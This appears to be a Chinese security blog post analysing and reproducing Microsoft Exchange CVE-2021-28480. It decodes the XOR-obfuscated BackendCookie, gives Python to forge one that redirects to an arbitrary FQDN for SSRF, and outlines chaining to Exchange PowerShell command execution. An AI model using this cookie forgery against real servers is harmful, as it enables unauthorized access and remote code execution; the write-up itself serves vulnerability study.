Exchange CVE-2021-28480 分析复现
2022-6-13 23:9:50 Author: xz.aliyun.com(查看原文) 阅读量:37 收藏

2021年04月14日,360CERT监测发现Microsoft发布了Exchange 安全更新的通告,本次安全更新修复了四个蠕虫级别的远程命令执行漏洞。漏洞编号为CVE-2021-28480,CVE-2021-28481,CVE-2021-28482,CVE-2021-28483,漏洞等级:严重,漏洞评分:9.8。

分析:
补丁对比:补丁更改了部分代码,和26855一样 添加了对于fqdn的验证

通过研究代码,对比数据 ,发现访问某些位置的时候会生成BackendCookie,用来指定fqdn 这就和CVE-2021-26855有些相似了

这里的cookie是 由BackEndCookieEntryPaser.TryParse()方法进行处理


我们在这里进行断点,能截取到填入的加密值

由于我们是通过Anoymous的方式进行的访问,所以name的名字为Anonymous.

进入到TryParse方法

通过 UnObscurify 方法进行解码

进行了base64解码并异或解码

将这里的代码翻译成python 代码为

def code(str):
    s=base64.b64decode(str)
    array = list()
    for i in s:
        array.append(i ^ 255)
    print("".join(list(map(chr,array))))

这里解密出来的形式为:Server~WIN-64V4EOC0M9F.test.com~1941997017~2022-03-30T03:19:43


当第一个参数为Server时 会将第二个参数作为Fqdn传入
而中间的WIN-64V4EOC0M9F.test.com跟Proxylogon一样 我们就可以进行修改
修改后 就会得到下面这样

但是,不是每个链接都能利用这个cookie
要处理它,有必要找到 BEServerCookieProxyRequestHandler 类的继承者
● AnonymousCalendarProxyRequestHandler
● ComplianceServiceProxyRequestHandler
● EwsAutodiscoverProxyRequestHandler
● MailboxDeliveryProxyRequestHandler
● MapiProxyRequestHandler
● MicroServiceProxyRequestHandler
● MrsProxyRequestHandler
● OabProxyRequestHandler

而且 owa ecp的处理代码中会有一个方法RedirectIfNeeded进行判断fqdn是否存在


我们最后选择使用 AnonymousCalendarProxyRequestHandler 来进行模拟
通过代码 找到他的加密代码Obscurify()


改为python代码为

def encode():
    bytes = list(map(ord,"Server~WIN-64V4EOC0M9F.test.com/mapi/nspi?~1941997017~2022-04-21T07:36:07"))
    array = list()
    for i in bytes:
     array.append(i ^ 255)
    print(base64.b64encode(bytearray(array)).decode())

访问后成功ssrf

但是,在CVE-2021-26855以后,微软添加了另一部分代码来预防此类ssrf

他对比了fqdn以及host来验证是否为ssrf,因此在打了CVE-2021-26855补丁后,我未能成功ssrf,能指定任意target,但是不能绕过到其他位置,会显示Service Unavailable

因此后面的研究我的环境改为了没打三月份补丁前的机器

参照CVE-2021-34473的利用方式
获取sid并生成token来访问到exchange powershell 并执行命令

也可以搭建Flask 代理到本地执行命令
代码可参考:
https://gist.githubusercontent.com/zdi-team/087026b241df18102db699fe4a3d9282/raw/ab4e1ecb6e0234c2e319bc229c71f2f4f70b55d9/P2O-Vancouver-2021-ProxyShell-snippet-7.py

需要设置
(1)设置网络位置
不能选择Public network,需要Home network或者Work network。
(2)设置管理员用户的密码
确保管理员用户设置了密码
(3)开启winrm服务
winrm quickconfig
(4)修改allowunencrypted属性
Powershell命令如下:
cd WSMan:\localhost\Client set-item .\allowunencrypted $true dir
(5)设置TrustedHosts
Powershell命令如下:
Get-Item WSMan:\localhost\Client\TrustedHosts Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*'
以上设置完成后,能够建立PowerShell会话并执行Exchange PowerShell命令。

以上仅供参考学习


文章来源: https://xz.aliyun.com/t/11437
如有侵权请联系:admin#unsafe.sh